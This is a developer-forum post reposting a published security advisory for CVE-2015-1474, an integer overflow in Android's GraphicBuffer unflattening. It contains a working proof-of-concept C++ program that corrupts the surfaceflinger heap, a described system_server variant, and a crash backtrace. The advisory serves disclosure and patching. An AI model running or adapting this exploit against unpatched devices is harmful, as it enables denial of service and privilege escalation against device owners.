[Galaxy Note 4 Developer Discussion (Devs., Only)] DroidHelp101:
Has anybody been able to successfully cause a Integer overflow leading to heap corruption while unflattening GraphicBuffer?

Here is more info on how to do so.. More Good Info for this thread..

From: Guang Gong <higongguang () gmail com>

Date: Wed, 11 Mar 2015 18:17:54 +0800

#############################################################################

#

# QIHU 360 SOFTWARE CO. LIMITED http://www.360safe.com/

#

#############################################################################

#

# CVE ID: CVE-2015-1474

# Product: Android

# Vendor: Google

# Subject: Integer overflow leading to heap corruption while unflattening

GraphicBuffer

# Effect: Gain privileges or cause a denial of service

# Author: Guang Gong

# Date: March 11th 2015

#

#############################################################################

Introduction

------------

Multiple integer overflows in the GraphicBuffer::unflatten function in

platform/frameworks/native/libs/ui/GraphicBuffer.cpp in Android through 5.0

allow attackers to gain privileges or cause a denial of service (memory

corruption) via vectors that trigger a large number of (1) file descriptors

or (2) integer values.

Affected Android version

----------

all versions below Lollipop 5.1

Patches

-------

Android Bug id 18076253

There are two patches for this vulnerabilities, the first patch for this

issue is uncomplete.

[1]

https://android.googlesource.com/pl...ve/+/e6f7a44e835d320593fa33052f35ea52948ff0b2

[2]

https://android.googlesource.com/pl...ve/+/796aaf7fb160fea12bddc8406d7f006ce811eb43

Description

-----------

The vulnerable code is as follows.

28

<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28>

native_handle_t

<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>*

native_handle_create

<http://androidxref.com/4.4.4_r1/s?refs=native_handle_create&project=system>

(int numFds <http://androidxref.com/4.4.4_r1/s?refs=numFds&project=system>,

int numInts <http://androidxref.com/4.4.4_r1/s?refs=numInts&project=system>)

29

<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#29>

{

30

<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#30>

native_handle_t

<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>* h =

malloc <http://androidxref.com/4.4.4_r1/s?defs=malloc&project=system>(

31

<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#31>

sizeof(native_handle_t

<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>) +

sizeof(int)*(numFds

<http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>+numInts

<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts>

));---------------> integer overflow here, numFds and numInts can be

controlled by normal Apps.

32

<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#32>

33

<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#33>

h->version

<http://androidxref.com/4.4.4_r1/s?defs=version&project=system> = sizeof(

native_handle_t

<http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>);

34

<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#34>

h->numFds <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>

= numFds <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>;

35

<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#35>

h->numInts

<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts>

= numInts

<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts>

;

36

<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#36>

return h;

37

<http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#37>

}

244

<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#244>

status_t

<http://androidxref.com/4.4.4_r1/s?defs=status_t&project=frameworks>

GraphicBuffer

<http://androidxref.com/4.4.4_r1/s?defs=GraphicBuffer&project=frameworks>::

unflatten

<http://androidxref.com/4.4.4_r1/s?refs=unflatten&project=frameworks>(

245

<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#245>

void const*& buffer

<http://androidxref.com/4.4.4_r1/s?defs=buffer&project=frameworks>, size_t

<http://androidxref.com/4.4.4_r1/s?defs=size_t&project=frameworks>& size

<http://androidxref.com/4.4.4_r1/s?defs=size&project=frameworks>, int const

*& fds <http://androidxref.com/4.4.4_r1/s?defs=fds&project=frameworks>,

size_t <http://androidxref.com/4.4.4_r1/s?defs=size_t&project=frameworks>&

count

<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#count>)

{

…

271

<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#271>

native_handle

<http://androidxref.com/4.4.4_r1/s?defs=native_handle&project=frameworks>*

h = native_handle_create

<http://androidxref.com/4.4.4_r1/s?defs=native_handle_create&project=frameworks>

(numFds

<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds>

, numInts

<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numInts>

);

272

<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#272>

memcpy

<http://androidxref.com/4.4.4_r1/s?defs=memcpy&project=frameworks>(h->data

<http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>, fds

<http://androidxref.com/4.4.4_r1/s?defs=fds&project=frameworks>, numFds

<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds>

*sizeof(int)); ---------------->heap corruption hear.

273

<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#273>

memcpy

<http://androidxref.com/4.4.4_r1/s?defs=memcpy&project=frameworks>(h->data

<http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks> + numFds

<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds>,

&buf <http://androidxref.com/4.4.4_r1/s?defs=buf&project=frameworks>[8],

numInts

<http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numInts>

*sizeof(int));

….

Attack vector

-------------

A normal Apps can corrupt the heap in surfaceflinger and system_server by

this vulnerabilities.

the PoC of corrupting the heap of surfaceflinger is as follows

#include <sys/types.h>

#include <sys/stat.h>

#include <fcntl.h>

#include <utils/Log.h>

#include <binder/IPCThreadState.h>

#include <binder/ProcessState.h>

#include <binder/IServiceManager.h>

#include <gui/ISurfaceComposer.h>

#include <gui/BufferQueue.h>

#include <gui/CpuConsumer.h>

#include <unistd.h>

using namespace android;

class MyBufferQueue:public BufferQueue{

public:

status_t onTransact(uint32_t code, const Parcel& data, Parcel*

reply, uint32_t flags){

status_t ret =

BnGraphicBufferProducer::onTransact(code,data,reply,flags);

if(code==1){

int *data = (int *)reply->data();

int *numFDs = data+9;

*numFDs=0xfffffffd;

}

return ret;

}

};

int main()

{

sp<ProcessState> proc(ProcessState::self());

proc->startThreadPool();

const String16 name("SurfaceFlinger");

sp<ISurfaceComposer> composer;

getService(name, &composer);

uint32_t w, h;

PixelFormat f;

sp<IBinder>

display(composer->getBuiltInDisplay(ISurfaceComposer::eDisplayIdMain));

sp<MyBufferQueue> bufferQueue = new MyBufferQueue();

sp<CpuConsumer> cpuConsumer = new CpuConsumer(bufferQueue, 1);

status_t err = composer->captureScreen(display, bufferQueue, 0,0,0,-1UL);

if (err != NO_ERROR) {

fprintf(stderr, "screen capture failed: %s\n", strerror(-err));

exit(0);

}

printf("screen capture success\n");

IPCThreadState::self()->joinThreadPool();

return 0;

}

How to corrupt the heap of system_server

put a malformated GraphicBuffer in a Bundle, and then send it to

system_server via setApplicationRestrictions. it’s the same way as

CVE-2014-7911.

The backtrace of crash surfaceflinger

55 --------- beginning of crash

56 F/libc (15504): Fatal signal 11 (SIGSEGV), code 1, fault addr

0xb1000000 in tid 15504 (surfaceflinger)

57 I/DEBUG ( 180): *** *** *** *** *** *** *** *** *** *** *** *** ***

*** *** ***

58 I/DEBUG ( 180): Build fingerprint:

'Android/aosp_hammerhead/hammerhead:4.4.3.43.43.43/AOSP/ggong10171501:userdebug/test-keys'

59 I/DEBUG ( 180): Revision: '11'

60 I/DEBUG ( 180): ABI: 'arm'

61 I/DEBUG ( 180): pid: 15504, tid: 15504, name: surfaceflinger >>>

/system/bin/surfaceflinger <<<

62 I/DEBUG ( 180): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault

addr 0xb1000000

63 W/NativeCrashListener(15836): Couldn't find ProcessRecord for pid 15504

64 I/DEBUG ( 180): r0 b1000000 r1 b6be41ec r2 ff81eff0 r3

00000004

65 E/DEBUG ( 180): AM write failure (32 / Broken pipe)

66 I/DEBUG ( 180): r4 b647ac00 r5 fffffffd r6 b6302150 r7

00000050

67 I/DEBUG ( 180): r8 bef65734 r9 bef65738 sl bef6573c fp

b081f070

68 I/DEBUG ( 180): ip 80000000 sp bef656f0 lr b6c6cfb7 pc

b6eb2e30 cpsr a00f0030

69 I/DEBUG ( 180):

70 I/DEBUG ( 180): backtrace:

71 I/DEBUG ( 180): #00 pc 0000fe30 /system/lib/libc.so

(__memcpy_base+91) ------------------------->memcpy cause heap corruption

72 I/DEBUG ( 180): #01 pc 00005fb3 /system/lib/libui.so

(android::GraphicBuffer::unflatten(void const*&, unsigned int&, int

const*&, unsigned int&)+98)

73 I/DEBUG ( 180): #02 pc 00025e09 /system/lib/libgui.so

74 I/DEBUG ( 180): #03 pc 0001e985 /system/lib/libbinder.so

(android::Parcel::read(android::Parcel::FlattenableHelperInterface&)

const+176)

75 I/DEBUG ( 180): #04 pc 0002638d /system/lib/libgui.so

76 I/DEBUG ( 180): #05 pc 0002adc3 /system/lib/libgui.so

(android::Surface::dequeueBuffer(ANativeWindowBuffer**, int*)+226)

77 I/DEBUG ( 180): #06 pc 0002aa81 /system/lib/libgui.so

(android::Surface::hook_dequeueBuffer_DEPRECATED(ANativeWindow*,

ANativeWindowBuffer**)+32)

78 I/DEBUG ( 180): #07 pc 000175cf /system/lib/libsurfaceflinger.so

79 I/DEBUG ( 180): #08 pc 0001b80f /system/lib/libsurfaceflinger.so

80 I/DEBUG ( 180): #09 pc 000158f5 /system/lib/libsurfaceflinger.so

81 I/DEBUG ( 180): #10 pc 00010907 /system/lib/libutils.so

(android::Looper::pollInner(int)+410)

82 I/DEBUG ( 180): #11 pc 000109f9 /system/lib/libutils.so

(android::Looper::pollOnce(int, int*, int*, void**)+92)

83 I/DEBUG ( 180): #12 pc 00015ad1 /system/lib/libsurfaceflinger.so

84 I/DEBUG ( 180): #13 pc 0001675d

/system/lib/libsurfaceflinger.so (android::SurfaceFlinger::run()+8)

85 I/DEBUG ( 180): #14 pc 0000083d /system/bin/surfaceflinger

86 I/DEBUG ( 180): #15 pc 0000f811 /system/lib/libc.so

(__libc_init+44)

87 I/DEBUG ( 180): #16 pc 000008d8 /system/bin/surfaceflinger

88 I/DEBUG ( 180):

89 I/DEBUG ( 180): Tombstone written to: /data/tombstones/tombstone_01

90 I/BootReceiver(15836): Copying /data/tombstones/tombstone_01 to DropBox

(SYSTEM_TOMBSTONE)

91 I/ServiceManager( 176): service 'SurfaceFlinger' died

92 I/ServiceManager( 176): service 'display.qservice' died

Full Disclosure located here:

http://seclists.org/fulldisclosure/2015/Mar/63

References

----------

[1]

https://android.googlesource.com/pl...ve/+/e6f7a44e835d320593fa33052f35ea52948ff0b2

[2]

https://android.googlesource.com/pl...ve/+/796aaf7fb160fea12bddc8406d7f006ce811eb43

[3]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1474

[4]

http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28